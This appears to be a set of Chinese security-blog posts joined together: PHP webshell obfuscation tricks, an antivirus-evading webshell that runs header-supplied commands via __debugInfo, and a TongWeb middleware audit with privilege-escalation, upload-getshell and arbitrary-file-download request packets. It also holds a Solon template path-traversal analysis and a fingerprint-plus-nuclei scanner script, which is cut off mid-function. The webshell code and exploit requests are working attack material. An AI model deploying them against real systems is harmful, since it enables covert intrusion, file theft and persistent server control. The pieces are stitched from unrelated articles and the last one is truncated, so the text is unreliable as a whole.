if(StringUtil.isBlank(condition)) {
continue;
}
String key = condition.split("=")[0];
String value = condition.split("=")[1];
key = key.trim();
value = value.replace("\"", "").replace("\'", "");
entity.put(key, value);
}
if(entity.keySet() != null && entity.keySet().size() > 0) {
String path = basePath + entity.get("file").toString();
File includeFile = new File(path);
String includeHtml;
try {
includeHtml = FileUtils.readFileToString(includeFile, "UTF-8");
newHtml = newHtml.replaceFirst(annotations.regexp(), includeHtml);
} catch (IOException e) {
e.printStackTrace();
}
}
}
return newHtml;
}
可以目录穿越读取我们任意文件的内容
浅谈 webshell 构造之如何获取恶意函数
前言
这篇文章主要是总结一下自己学习过的 “恶意函数” 篇章,重点是在如何获取恶意函数。
get_defined_functions
(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)
get_defined_functions — 返回所有已定义函数的数组
我们主要是可以通过这个获取危险的函数
比如
比如
当然还有许多,如何执行命令就很简单了
代码如下
<?php
$a=(get_defined_functions());
$a["internal"][516]("whoami");
?>
get_defined_constants
get_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值
那获取的常量是不是可以为我们所用呢?
可以看到是有 system 关键字的,我们就可以直接去获取它的 key,然后截取不就是 system 了吗
代码如下
<?php
$a=get_defined_constants();
foreach ($a as $key => $value){
if (substr($key,0,7)=="INI_SYS"){
$x= strtolower(substr($key,4,6));
$x("whoami");
}
}
?>
自定义方法
通过自定义的方法,从毫无头绪的数字获取到 system 函数,拿出广为流传的例子
<?php
function fun($a){
$s = ['a','t','s', 'y', 'm', 'e', '/'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
现在还没有看出端倪,但是当你运行这串代码的时候
<?php
function fun($a){
$s = ['a','t','s', 'y', 'm', 'e', '/'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
echo fun(451232);
抛出异常截取字符串
这个手法也是比较特殊的
我们可以随便找一个异常类
比如 ParseError,然后再加上我们刚刚的自定义方法
ParseError 当解析 PHP 代码时发生错误时抛出,比如当 https://www.php.net/manual/zh/function.eval.php 被调用出错时。
它的一些属性和方法
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
可以看到都是基础父类的
Exception::__construct — 异常构造函数
Exception::getMessage — 获取异常消息内容
Exception::getPrevious — 返回前一个 Throwable
Exception::getCode — 获取异常代码
Exception::getFile — 创建异常时的程序文件名称
Exception::getLine — 获取创建的异常所在文件中的行号
Exception::getTrace — 获取异常追踪信息
Exception::getTraceAsString — 获取字符串类型的异常追踪信息
Exception::__toString — 将异常对象转换为字符串
Exception::__clone — 异常克隆
根据这些思路来了,我们如果能够获取报错内容,那不就是隐含的获取了恶意函数吗
代码如下
<?php
function fun($a){
$s = ['a','t','s', 'y', 'm', 'e', '/'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
$a = new ParseError(fun(451232));
echo $a->getMessage();
DirectoryIterator
The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.
它的一些方法
https://www.php.net/manual/zh/directoryiterator.construct.php — Constructs a new directory iterator from a path
https://www.php.net/manual/zh/directoryiterator.current.php — Return the current DirectoryIterator item
https://www.php.net/manual/zh/directoryiterator.getbasename.php — Get base name of current DirectoryIterator item
https://www.php.net/manual/zh/directoryiterator.getextension.php — Gets the file extension
https://www.php.net/manual/zh/directoryiterator.getfilename.php — Return file name of current DirectoryIterator item
https://www.php.net/manual/zh/directoryiterator.isdot.php — Determine if current DirectoryIterator item is '.' or '..'
https://www.php.net/manual/zh/directoryiterator.key.php — Return the key for the current DirectoryIterator item
https://www.php.net/manual/zh/directoryiterator.next.php — Move forward to next DirectoryIterator item
https://www.php.net/manual/zh/directoryiterator.rewind.php — Rewind the DirectoryIterator back to the start
https://www.php.net/manual/zh/directoryiterator.seek.php — Seek to a DirectoryIterator item
https://www.php.net/manual/zh/directoryiterator.tostring.php — Get file name as a string
https://www.php.net/manual/zh/directoryiterator.valid.php — Check whether current DirectoryIterator position is a valid file
其中大概看一下,其实
DirectoryIterator::getFilename 就有利用的可能
DirectoryIterator::getFilename — Return file name of current DirectoryIterator item
看一下官方的例子
<?php$dir = new DirectoryIterator(dirname(__FILE__));foreach ($dir as $fileinfo) { echo $fileinfo->getFilename() . "\n";}?>
以上示例的输出类似于:
.
..
apple.jpg
banana.jpg
index.php
pear.jpg
那岂不是我们如果可以控制自己的文件名或者目录,那不就构造出来了吗
代码如下
<?php
// 创建FilesystemIterator实例
$iterator = new FilesystemIterator(dirname(__FILE__));
foreach ($iterator as $item) {
// 输出文件和目录的属性
echo $item->getFilename() . "\n";
}
?>
运行结果
确实是获取到了
pack
这个函数很有意思的
pack — 将数据打包成二进制字符串
可以构造出字符串
pack(https://www.php.net/manual/zh/language.types.string.php $format, https://www.php.net/manual/zh/language.types.mixed.php ...$values): https://www.php.net/manual/zh/language.types.string.php
将输入参数打包成 format 格式的二进制字符串。
这个函数的思想来自 Perl,所有格式化代码(format)的工作原理都与 Perl 相同。但是,缺少了部分格式代码,比如 Perl 的 “u”。
注意,有符号值和无符号值之间的区别只影响函数 https://www.php.net/manual/zh/function.unpack.php,在那些使用有符号和无符号格式代码的地方 pack() 函数产生相同的结果。
看了一下大概,再看下官方的例子
这是一些它的格式
示例 #1 *pack()* 范例
<?php$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);?>
输出结果为长度为 6 字节的二进制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。
那我们按照构造出 system 的思路
<?php
echo pack("C6", 115, 121, 115, 116, 101, 109);
echo pack("H*", "73797374656d");
?>
这两个结果都是 system
"C6" 是格式字符串,其中 C 表示将后续的六个参数视为无符号字符(即 ASCII 字符),6 表示有六个字符。
传入的参数
115, 121, 115, 116, 101, 109
是 ASCII 码值。
115 对应的字符是 s
121 对应的字符是 y
115 对应的字符是 s
116 对应的字符是 t
101 对应的字符是 e
109 对应的字符是 m
构造出来的就是 system
"H*" 是格式字符串,其中 H 表示将后续传递的参数视为十六进制字符串,* 表示任意长度。
73797374656d
是一个十六进制表示的字符串。将其转换为 ASCII 字符:
73 是 s
79 是 y
73 是 s
74 是 t
65 是 e
6d 是 m
构造出来的也是system
这你敢信,复习PHP意外搞出一个免杀WebShell
前言
正当我饶有性质的开始复习 PHP 开发这个课程准备一天速通期末考试的时候,没想到有心栽花花不开,无心插柳柳成因,意外灵感突发,搞出了一个还算可以的免杀的 webshell,下面讲讲思路
起
当打开 php 复习考点的时候,发现还要考魔术方法,于是打开了好久没有翻过的 php 手册
魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。
我们看了大多数魔术方法,都有自己会在某个契机出发
比如一些常规的
__construct(mixed ...$values = ""): void
PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
会在实例化一个类的时候触发这个方法
__destruct(): void
PHP 有析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
会在对象销毁的时候执行这个方法
于是我们可以利用这个思路来实现一个命令条件执行的方法
比如看下面的例子
<?php
class a{
public function __construct()
{
system("calc");
}
}
new a();
或者
<?php
class a{
public function __destruct()
{
system("calc");
}
}
new a();
都可以弹出计算器
所以我们可以借助这个思路
但是这两个函数还是太常见了
我们找找其他函数
承
于是开始找起来了
手册的方法都感觉太常规,而且都见过
首先需要免杀,那一定需要小众
不知道各位知不知道__debugInfo()这个魔术方法呢
下面介绍一下
__debugInfo(): array
当通过 var_dump() 转储对象,获取应该要显示的属性的时候,该函数就会被调用。如果对象中没有定义该方法,那么将会展示所有的公有、受保护和私有的属性。
下面是它的使用例子
<?php
class C {
private $prop;
public function __construct($val) {
$this->prop = $val;
}
public function __debugInfo() {
return [
'propSquared' => $this->prop ** 2,
];
}
}
var_dump(new C(42));
?>
我们按着改造一下
读懂了原理后我们尝试看看能不能执行命令
<?php
class C {
private $prop;
public function __construct($val) {
$this->prop = $val;
}
public function __debugInfo() {
return [
'propSquared' => $this->prop ** 2,
];
system("calc");
}
}
var_dump(new C(42));
?>
但是并没有计算器弹出来,原来忘了 php 一个最基础的语法,return 后代码就不会执行了
但是尝试了还是不行,最后问 GPT 写了个例子看看环境是不是有问题
<?php
class User {
private $username;
private $password; // 敏感信息,不想输出
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function __debugInfo() {
return [
'username' => $this->username,
'info' => '这是调试时返回的信息',
'timestamp' => time()
];
}
}
$user = new User('alice', 'secret123');
var_dump($user); // 触发 __debugInfo()
输出应该是
object(User)#1 (3) {
["username"]=>
string(5) "alice"
["info"]=>
string(33) "这是调试时返回的信息"
["timestamp"]=>
int(1725092384)
}
然后搜了很多,发现如果可能我们的 xdebug 配置会影响我们的这个输出,所以找了没有配置 xdebug 的
再次执行
可以看到已经有信息了
所以尝试执行命令
成功执行了命令
然后开始构造免杀 webshell
利用 SimpleXMLElement 解析 xml 文件来传入参数
终
最后搞出来的代码如下
<?php
class User {
private $username;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function __debugInfo() {
$xmlData = base64_decode(end(getallheaders()));
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump (($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString());
return [
'username' => $this->username,
'info' => '这是调试时返回的信息',
'timestamp' => time()
];
}
}
$user = new User('alice', 'secret123');
var_dump($user);
这里因为我懒得搭建调试环境了,我们把 header 传入的值直接设置为
<books>
<system>calc</system>
</books>
然后需要 base64 编码
<?php
class User {
private $username;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function __debugInfo() {
$xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump (($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString());
return [
'username' => $this->username,
'info' => '这是调试时返回的信息',
'timestamp' => time()
];
}
}
$user = new User('alice', 'secret123');
var_dump($user);
成功弹出计算器
这里我为了方便直接把从 header 头传入值修改为直接写入了
首先实例化我们的 user 类
然后
var_dump($user);
在这个过程中,会触发__debugInfo
然后在这个过程中会解析 xml 数据
通过 SimpleXMLElement 的方法去截取我们需要的字符串,从而来构造一个命令执行
最后构造出我们的 webshell
长亭
微步
VIRUSTOTAL
TongWeb闭源中间件代码审计
应用服务器 TongWeb v7 全面支持 JavaEE7 及 JavaEE8规范,作为基础架构软件,位于操作系统与应用之间,帮助企业将业务应用集成在一个基础平台上,为应用高效、稳定、安全运行提供关键支撑,包括便捷的开发、随需应变的灵活部署、丰富的运行时监视、高效的管理等。
本文对该中间件部分公开在互联网,但未分析细节的漏洞,进行复现分析:
sysweb后台上传getshell:
在互联网搜索发现该版本存在sysweb后台文件下载,可惜却没有复现细节,且访问显示如下:
发现通过默认口令thanos/thanos123.com无法登录,且未发现任何相关的默认口令:
于是自己找到配置文件查看权限校验情况:
\sysweb\WEB-INF\web.xml:
发现配置情况如上,一切/*请求均需要admin权限才行,但目前互联网暂未发现任何其他相关权限账号,自己尝试admin相关弱口令也均为成功,于是继续寻找用户相关功能点:
点击安全服务--安全域管理:
点击该安全域:找到默认账户的thanos用户:
点击保存,查看数据包:
发现该账户的userRole为tongweb与sysweb要求的admin并不匹配,于是点击创建用户:
但并未发现可以随意设置用户的useRole,于是点击保存,并拦截数据包:
将空白的userRole设置为admin,并放包:
发现创建成功。于是尝试sysweb登录:
发现仅仅是如上页面,但是至少权限问题解决了。
接着返回sysweb的配置文件:
跟进分析:
发现未进行任何校验过滤,直接通过parseFileName()方法解析header获取文件名赋值给fileName。
构造如下文件上传数据包:
上传成功,shell加一:
任意文件下载漏洞:
默认账号密码:thanos/thanos123.com登录后台,在快照管理处存在下载功能点:
点击下载抓包查看:
下载文件打包成压缩包下载:
如上,疑似存在下载漏洞,跟进路由:
如上,先找到类级别的路径位置,注解表示由/rest/monitor/snapshots根路径发起的请求均会被该类处理。
随后再找到方法级别的路由位置,download的post请求均会被该方法处理:
可见该方法接收了前面数据包传输的参数filename,并赋值给snapshotname参数。
分析如上代码存在以下路径:
Path:根路径,由system.getProperty/temp/download组成
snapshotRootPath:由path/snapshotname组成。
随后进入AgentUtil.receiveFileOrDir()进行目标文件压缩,下载,且此处未进行任何校验:
但如果直接修改数据包filename进行任意文件下载依然会失败,因为紧接着代码进行了如下校验:
判断下载路径snapshotRootPath的父路径是否是path,也就是对snapshotname与path拼接后的路径进行校验,如果snapshotname值为../../或者为/a/b这种格式则无法通过校验,也就是限制了跨目录操作。
但回过头来查看具体下载操作:
是通过fileOrDir路径与snapshotRootPath进行文件下载的,查找location的值:
且发现location参数值可控:
于是先通过如下数据包修改location的值(修改为想任意下载的目录):
POST /console/rest/monitor/snapshots/setLocation HTTP/1.1
Host: 192.168.73.130:9060
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)
Gecko/20100101 Firefox/138.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 36
Origin: http://192.168.73.130:9060
Connection: keep-alive
Referer: http://192.168.73.130:9060/console/rest
Cookie: console-c-4aff-9=EABC776A7845EFBDA555BAA1D078F628;
DWRSESSIONID=858h23g\$aEjH1iqRz1jnGBLe3rp
snapshot_location=D%3A%5CTongWeb7.42
随后再进行下载:
POST /console/rest/monitor/snapshots/download HTTP/1.1
Host: 192.168.73.130:9060
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0)
Gecko/20100101 Firefox/139.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://192.168.73.130:9060
Connection: keep-alive
Referer: http://192.168.73.130:9060/console/pages/monitor/snapshot.jsp
Cookie: console-c-4aff-9=429BD65834FAD60D489BC2F36DAF93C5;
DWRSESSIONID=jvSHNTT66zO2\$Hjyb4sFS7vYdrp
Upgrade-Insecure-Requests: 1
Priority: u=4
filename=conf
如下,下载成功:
Solon框架模板漏洞深度剖析与修复实战
前言
分析发现 Solon 框架在3.1.0版本上存在一个有意思的模板漏洞,对这个漏洞进行简单分析后,发现整个漏洞的利用链是非常有意思的。同时发现最新版的修复方式过于简单,询问 AI 后,AI 也认为修复也是不完善的安全修复,于是进行一系列的绕过尝试,最后还是没有利用成功,简单进行分享。
环境搭建
Solon 框架简介
Solon 是一个轻量级的 Java 应用开发框架,类似于 Spring Boot ,但更加轻量。支持多种模板引擎,包括 Beetl、FreeMarker、Velocity 等。在模板处理方面,Solon 采用了灵活的渲染器映射机制,也是出现这个漏洞的关键原因。
测试环境搭建
https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&project=maven&javaVer=1.8&&可以下载 solon 的项目模板 并进行修改
修改一下 pom.xml 文件 设置 solon 的版本为 3.1.0
将原本的视图插件 solon-view-freemarker 替换为以下的任意一种
<dependency>
<groupId>org.noear</groupId>
<artifactId>solon-view-enjoy</artifactId>
</dependency>
<dependency>
<groupId>org.noear</groupId>
<artifactId>solon-view-beetl</artifactId>
</dependency>
<dependency>
<groupId>org.noear</groupId>
<artifactId>solon-view-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.noear</groupId>
<artifactId>solon-view-velocity</artifactId>
</dependency>
在 DemoController.java 中 添加代码 并启动运行
@Mapping("/templates")
public ModelAndView templates(Context ctx) throws IOException {
ModelAndView modelAndView = new ModelAndView(ctx.param("templates"));
return modelAndView;
}
漏洞验证与分析
漏洞验证
我们选用视图插件solon-view-velocity,不同的视图插件对跨目录的处理有所不同,之后会对此进行详细解释
<dependency>
<groupId>org.noear</groupId>
<artifactId>solon-view-velocity</artifactId>
</dependency>
可以看到传入的参数通过 ../ 实现了跨目录的文件读取并将内容解析到页面上
核心调用链分析
通过调试对这个漏洞进行分析
遇到这种情况有一个小的 tips 我们可以通过尝试加载一个不存在的文件,这样 idea 的控制台中会输出相对详细的调用链,方便我们下断点进行调试分析。
org.noear.solon.core.handle.RenderManager#render
这里会根据文件后缀来选择视图插件,如果没有匹配的就选择用默认渲染器来处理
org.noear.solon.view.velocity.VelocityRender#render
org.noear.solon.view.velocity.VelocityRender#render_mav
org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String, java.lang.String)
org.apache.velocity.runtime.resource.ResourceManagerImpl#getResource
整体流程顺下来应该是
用户输入 → Context.param() → ModelAndView() → RenderManager.render()→ 模板引擎处理
在模板引擎处理之前没有对模板文件的路径进行处理和限制,这样一来如果模板引擎处理的时候没有对模板文件的路径进行处理时,就会产生任意文件读取漏洞。
我们可以尝试看看利用别的视图插件看看效果如何。
solon-view-freemarker 为什么不可以
我们看到 freemarker 对 模板文件的路径进行了处理,不允许跨目录的访问
org.noear.solon.view.freemarker.FreemarkerRender#render
org.noear.solon.view.freemarker.FreemarkerRender#render_mav
freemarker.template.Configuration#getTemplate(java.lang.String, java.lang.String)
freemarker.template.Configuration#getTemplate(java.lang.String, java.util.Locale, java.lang.Object, java.lang.String, boolean, boolean)
freemarker.cache.TemplateCache#getTemplate(java.lang.String, java.util.Locale, java.lang.Object, java.lang.String, boolean)
调用 name = templateNameFormat.normalizeRootBasedName(name); 来对传入的模板文件名进行处理
freemarker.cache.TemplateNameFormat.Default020300#normalizeRootBasedName
对传入的参数进行规范化处理,以确保安全并处理路径中的特殊序列。
漏洞修复
org.noear.solon.core.handle.RenderManager#getViewRender
我们注意到修复方式是添加了这一部分代码
if (mv.view().contains("../") || mv.view().contains("..\\")) {
// '../','..\' 不安全
throw new IllegalStateException("Invalid view path: '" + mv.view() + "'");
}
看起来处理方式简单粗暴,实际上是非常有效的
用户输入 → Context.param() → ModelAndView() → RenderManager.render()→ RenderManager.getViewRender()安全检测 →模板引擎处理
在模板引擎处理之前就添加了对传入路径的检测,一次 url 编码无法绕过,两次 url 编码虽然可以绕过检测,但是实际处理时,找不到文件所在的位置,再加上并不是从根目录开始读取文件的,最前面还存在目录限制,所以这样一来就无法利用这个漏洞了。
指纹识别+精准化POC攻击
开发目的
解决漏洞扫描器的痛点
第一就是扫描量太大,对一个站点扫描了大量的无用 POC,浪费时间
指纹识别后还需要根据对应的指纹去进行 payload 扫描,非常的麻烦
开发思路
我们的思路大体分为指纹+POC+扫描
所以思路大概从这几个方面入手
首先就是 POC,我们得寻找一直在更新的 POC,而且是实时更新的,因为自己写的话有点太费时间了
但是这 POC 的决定是根据我们扫描器来的,因为世面上已经有许多不错的扫描器了,目前打算使用的是 nuclei 扫描器
https://github.com/projectdiscovery/nucleiNuclei 是一种现代、高性能的漏洞扫描程序,它利用基于 YAML 的简单模板。它使您能够设计自定义漏洞检测场景,以模拟真实世界的条件,从而实现零误报。
目前也在不断维护更新,当然还有 Xray,Goby 等工具也是不错的选择
然后回到指纹识别技术,这个需要大量的指纹样本,但是世面上的各种工具已经可以做得很好了
指纹识别
这里就的学习一下指纹识别的技术
首先我们需要知道收集指纹目前大概有哪些方法
指纹识别方式
特定文件
比如举一个例子,我们通常是如何判断一个框架是 thinkphp 呢?
我们随便找几个 thinkphp 的网站
特征就是它的图标是非常明显的
可以看到图标都是一样的,目前 fofa 和 hunter 已经有这种查找的方法了,一般都是把我们的图标换算为我们的 hash 值
这个就是我们的 favicon.ico 图标
一般网站是通过在路径后加入 favicon.ico 比如http://xxxxxx/favicon.ico
然后就能获取这个图标了,而在 fofa 中可以直接拖动查询了,可以直接算出 hash 值
比如 thinkphp 的
然后再次查询
全是 tp 的网站参考https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md
当然除了我们的 ico 文件,还有其他很多的文件
一些网站的特定图片文件、js 文件、CSS 等静态文件,如 favicon.ico、css、logo.ico、js 等文件一般不会修改,通过爬虫对这些文件进行抓取并比对 md5 值,如果和规则库中的 Md5 一致则说明是同一 CMS。这种方式速度比较快,误报率相对低一些,但也不排除有些二次开发的 CMS 会修改这些文件。
页面关键字
比如 tp 的错误页面大多数都是
我们 body 就可以包含这个关键字了
或者可以构造错误页面,根据报错信息来判断使用的 CMS 或者中间件信息,比较常见的如 tomcat 和 spring 的报错页面。根据 response header 一般有以下几种识别方式:
请求头关键字
根据网站 response 返回头信息进行关键字匹配,这个一般是 ningx 这种
能够识别我们的服务器
URL 路径
根据总结wordpress 默认存在 wp-includes 和 wp-admin 目录,织梦默认管理后台为 dede 目录,solr 平台可能使用/solr 目录,weblogic 可能使用 wls-wsat 目录等。
大部分还是根据我们的 body
然后点一个进去
可以看到都是我们的 wordPress 的站点
指纹识别方法
有了我们上面的识别技术,那么我们大概是如何来识别一个指纹的呢
首先使用 python 简单举一个实现
首先就是需要一个配置文件,这个配置文件就需要包含我们的大体指纹和验证方法
- name: ThinkPHP
matchers:
- type: header
rule: X-Powered-By
keyword: ThinkPHP
- type: body
keyword: "http://www.thinkphp.cn"
- type: banner
keyword: thinkphp
- type: path
path: /thinkphp/library/think/
keyword: class
- type: favicon_hash
hash: 1165838194
然后就是我们的后端处理逻辑了
import yaml
import requests
import socket
import base64
import mmh3
def get_http_response(url, path=""):
try:
full_url = url.rstrip("/") + path
return requests.get(full_url, timeout=5)
except:
return None
def get_tcp_banner(ip, port=80):
try:
with socket.create_connection((ip, port), timeout=5) as s:
banner = s.recv(1024).decode(errors="ignore")
return banner
except:
return ""
def get_favicon_hash(url):
try:
res = requests.get(url.rstrip("/") + "/favicon.ico", timeout=5)
favicon = base64.encodebytes(res.content)
return mmh3.hash(favicon.decode('utf-8'))
except:
return None
def load_fingerprints(path="fingerprints.yaml"):
with open(path, "r", encoding="utf-8") as f:
return yaml.safe_load(f)
def match_fingerprint(url, ip=None):
fingerprints = load_fingerprints()
results = []
res = get_http_response(url)
banner = get_tcp_banner(ip or url.replace("http://", "").replace("https://", ""), 80)
favicon_hash = get_favicon_hash(url)
for fp in fingerprints:
matched = False
for matcher in fp["matchers"]:
if matcher["type"] == "header" and res:
if matcher["rule"] in res.headers and matcher["keyword"].lower() in res.headers[matcher["rule"]].lower():
matched = True
elif matcher["type"] == "body" and res:
if matcher["keyword"].lower() in res.text.lower():
matched = True
elif matcher["type"] == "banner":
if matcher["keyword"].lower() in banner.lower():
matched = True
elif matcher["type"] == "path":
res2 = get_http_response(url, matcher["path"])
if res2 and matcher["keyword"].lower() in res2.text.lower():
matched = True
elif matcher["type"] == "favicon_hash":
if favicon_hash == matcher["hash"]:
matched = True
if matched:
results.append(fp["name"])
return results
# 示例使用
if __name__ == "__main__":
target_url = "http://101.200.50.94:8009/"
result = match_fingerprint(target_url)
print("识别结果:", result)
大体逻辑就是这样了
首先就是 yaml 文件为我们的判断依据,对应不同的判断方法我们都有对应的后端处理
一个是对 body 的处理,一个是对 hash 文件的处理
然后再根据规则去匹配
匹配成功输出结果
当然这只是一个简单的逻辑,如果需要实现更高高效快捷第一就是指纹库,第二就是代码运行的速率,提高线程
最终识别代码
首先就是指纹库的获取,这个的话我们就不直接获取了,使用的是 EHole 的指纹库
我们大概看看部分代码
{
"fingerprint": [{
"cms": "seeyon",
"method": "keyword",
"location": "body",
"keyword": ["/seeyon/USER-DATA/IMAGES/LOGIN/login.gif"]
}, {
"cms": "seeyon",
"method": "keyword",
"location": "body",
"keyword": ["/seeyon/common/"]
}, {
"cms": "Spring env",
"method": "keyword",
"location": "body",
"keyword": ["servletContextInitParams"]
}, {
"cms": "微三云管理系统",
"method": "keyword",
"location": "body",
"keyword": ["WSY_logo","管理系统 MANAGEMENT SYSTEM"]
}, {
"cms": "Spring env",
"method": "keyword",
"location": "body",
"keyword": ["logback"]
}, {
"cms": "Weblogic",
"method": "keyword",
"location": "body",
"keyword": ["Error 404--Not Found"]
}, {
"cms": "Weblogic",
"method": "keyword",
"location": "body",
"keyword": ["Error 403--"]
}
{
"cms": "Atlassian – JIRA",
"method": "faviconhash",
"location": "body",
"keyword": ["981867722"]
}, {
"cms": "OpenStack",
"method": "faviconhash",
"location": "body",
"keyword": ["-923088984"]
}, {
"cms": "Aplikasi",
"method": "faviconhash",
"location": "body",
"keyword": ["494866796"]
}, {
"cms": "Ubiquiti Aircube",
"method": "faviconhash",
"location": "body",
"keyword": ["1249285083"]
}
简单看了一下逻辑可以发现和我们的指定方法应该差不多,逻辑就是首先根据 method 去选择方法,一个是 keyword 方法,一个是 faviconhash 方法,是一个大的判断,然乎下面就是根据具体的比如 body,title 等去识别了
代码如下
import json
import requests
import hashlib
import base64
from bs4 import BeautifulSoup
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
import argparse
# 加载指纹
def load_fingerprints(file='finger.json'):
with open(file, 'r', encoding='utf-8') as f:
data = json.load(f)
if "fingerprint" in data:
return data["fingerprint"]
raise ValueError("指纹文件格式不正确,应包含 'fingerprint' 字段。")
# 获取 HTTP 响应
def get_http_response(url):
try:
headers = {
"User-Agent": "Mozilla/5.0"
}
return requests.get(url, headers=headers, timeout=8, verify=False)
except:
return None
# 计算 favicon hash
def get_favicon_hash(url):
try:
favicon_url = urljoin(url, '/favicon.ico')
res = requests.get(favicon_url, timeout=5, verify=False)
if res.status_code == 200:
m = hashlib.md5()
b64 = base64.b64encode(res.content)
m.update(b64)
return int(m.hexdigest(), 16)
except:
return None
# 匹配单条指纹
def match_one(fpr, res, fav_hash):
method = fpr["method"]
loc = fpr.get("location", "body").lower()
kws = fpr["keyword"]
if method == 'keyword':
text_body = res.text or ""
text_head = "\n".join(f"{k}: {v}" for k, v in res.headers.items())
# 处理 title 和 header 等
if loc == 'header':
spaces = [text_head, text_body]
elif loc == 'title':
soup = BeautifulSoup(text_body, "html.parser")
title = soup.title.string if soup.title and soup.title.string else ""
spaces = [title, text_body]
elif loc == 'body':
spaces = [text_body]
else:
spaces = [text_body]
for space in spaces:
for kw in kws:
if kw.lower() in space.lower():
return True
if method == 'faviconhash' and fav_hash is not None:
for kw in kws:
try:
if fav_hash == int(kw):
return True
except:
continue
return False
# 识别单个 URL 指纹
def match_fingerprint(url, fps=None):
fps = fps or load_fingerprints()
res = get_http_response(url)
fav_hash = get_favicon_hash(url)
matched = []
for fpr in fps:
if 'cms' not in fpr or 'method' not in fpr or 'keyword' not in fpr:
continue
if match_one(fpr, res, fav_hash):
matched.append(fpr['cms'])
print(f"[✓] {url} 指纹识别结果:{list(set(matched))}")
return {url: list(set(matched))}
# 多线程执行
def run_multithread(urls, threads):
fps = load_fingerprints()
results = []
with ThreadPoolExecutor(max_workers=threads) as executor:
future_to_url = {executor.submit(match_fingerprint, url, fps): url for url in urls}
for future in as_completed(future_to_url):
results.append(future.result())
return results
# 主程序入口
def main():
parser = argparse.ArgumentParser(description="指纹识别脚本 - 支持多线程")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-u", "--url", help="单个目标 URL")
group.add_argument("-f", "--file", help="包含多个 URL 的文件")
parser.add_argument("-t", "--threads", type=int, default=10, help="线程数(默认10)")
args = parser.parse_args()
if args.url:
match_fingerprint(args.url)
elif args.file:
with open(args.file, 'r', encoding='utf-8') as f:
urls = [line.strip() for line in f if line.strip()]
results = run_multithread(urls, args.threads)
if __name__ == '__main__':
main()
加入了支持多线程和支持多目标的思路
结合漏洞扫描
我们光目标识别后,还需要实现精准化打击,正好 Nuclei 引擎支持根据 tag 去寻找我们的目标,完美了
实现思路就是首先寻找我们的 tag,然后在漏洞库里面查询,把有 tag 的和没有 tag 的分别分开放好,然后根据有 tag 的去精准化识别运行,完成最后的精准化 POC 攻击
初步的代码如下
import json
import os
import threading
import time
import base64
import hashlib
import requests
import argparse
from bs4 import BeautifulSoup
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
from queue import Queue
requests.packages.urllib3.disable_warnings()
# ---------- 指纹识别部分 ----------
def load_fingerprints(file='finger.json'):
with open(file, 'r', encoding='utf-8') as f:
data = json.load(f)
return data["fingerprint"]
def get_http_response(url):
try:
headers = {"User-Agent": "Mozilla/5.0"}
return requests.get(url, headers=headers, timeout=8, verify=False)
except:
return None
def get_favicon_hash(url):
try:
favicon_url = urljoin(url, '/favicon.ico')
res = requests.get(favicon_url, timeout=5, verify=False)
if res.status_code == 200:
m = hashlib.md5()
b64 = base64.b64encode(res.content)
m.update(b64)
